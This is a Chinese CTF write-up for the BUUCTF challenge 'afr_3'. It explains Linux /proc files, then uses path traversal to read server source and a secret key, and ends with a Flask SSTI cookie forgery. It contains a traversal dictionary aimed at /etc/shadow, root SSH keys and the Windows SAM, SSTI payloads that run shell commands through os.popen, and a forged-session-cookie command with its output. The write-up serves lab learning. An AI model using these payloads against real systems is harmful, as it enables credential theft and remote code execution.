buuctf 刷題記錄 [第一章 web入門]afr_3
考點:本題考查對linux系統中/proc/目錄下文件作用的了解,同時考查了flask模板注入
關於/proc/目錄
Linux系統上的/proc目錄是一種文件系統,即proc文件系統。與其它常見的文件系統不同的是,/proc是一種偽文件系統(也即虛擬文件系統),存儲的是當前內核運行狀態的一系列特殊文件,用戶可以通過這些文件查看有關系統硬件及當前正在運行進程的信息,甚至可以通過更改其中某些文件來改變內核的運行狀態。
/proc/[pid]—當查看當前進程的時候可以用/proc/self代替
cmdline — 啟動當前進程的完整命令,但僵屍進程目錄中的此文件不包含任何信息
cwd — 指向當前進程運行目錄的一個符號鏈接
environ — 當前進程的環境變量列表,彼此間用空字符(NULL)隔開;變量用大寫字母表示,其值用小寫字母表示
ok,相關信息介紹到這,接下來開始正式getshell
文件讀取
隨便輸入寫什么東西就會返回一個包含article的頁面
讀取一下flag試試
沒有權限
那么在這種時候可以讀取什么呢
字典目錄:
..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\Windows\System32\inetsrv\MetaBase.xml
..\..\..\..\..\..\..\..\..\..\Windows\repair\sam
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\my.ini
..\..\..\..\..\..\..\..\..\..\Program Files\mysql\data\mysql\user.MYD
..\..\..\..\..\..\..\..\..\..\Windows\php.ini
..\..\..\..\..\..\..\..\..\..\Windows\my.ini
../../../../../../../../root/.ssh/authorized_keys
../../../../../../../../root/.ssh/id_rsa
../../../../../../../../root/.ssh/id_rsa.keystore
../../../../../../../../root/.ssh/known_hosts
../../../../../../../../etc/passwd
../../../../../../../../etc/shadow
../../../../../../../../etc/my.cnf
../../../../../../../../etc/httpd/conf/httpd.conf
../../../../../../../../root/.bash_history
../../../../../../../../root/.mysql_history
../../../../../../../../proc/self/fd/fd[0-9]*
../../../../../../../../proc/mounts
../../../../../../../../proc/config.gz
../../../../../proc/self/cmdline
其中還包含了一部分Windows的
根據../../../../../proc/self/cmdline
得出的信息可以知道
當前正在運行pythonserver.py
到這里其實就該想到了利用python的flask進行模板ssti注入,從而讀取flag
參考:
那么現在根據/proc/
的特性,可以讀取正在運行的pythonserver.py
的源碼
name=../../../../../proc/self/cwd/server.py
原理是使用proc
指定self
代表當前進程,然后cwd
指向運行的文件pythonserver.py
python代碼雖然一坨了,但是還是可以看出大致邏輯的
可以看到執行了flag.py
和key.py
SSTI
接下來考慮的是怎么樣獲得權限,去讀取flag
先讀一下key得到如下信息
#!/usr/bin/python
key = 'Drmhze6EPcv0fN_81Bj-nA'
接下來使用flask_session_cookie_manager3去偽造cookie讀flag
ssti代碼:
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
ps:我感覺這些ssti的payload好像啊
注意,這里使用的是python2的ssti代碼
python3的ssti中的類的數量和python2不一樣
python3的ssti格式(與本題無關,本題是python2的)
{{''.__class__.__mro__[1].__subclasses__()}}
繼續本題
使用flask_session_cookie_manager3
生成payload
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
-s 指的是加密密鑰
-t 指的是加密密文(ssti)
payload:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YM4agQ.nUmKAGlhSriciQXZZ_7z8GdRwOI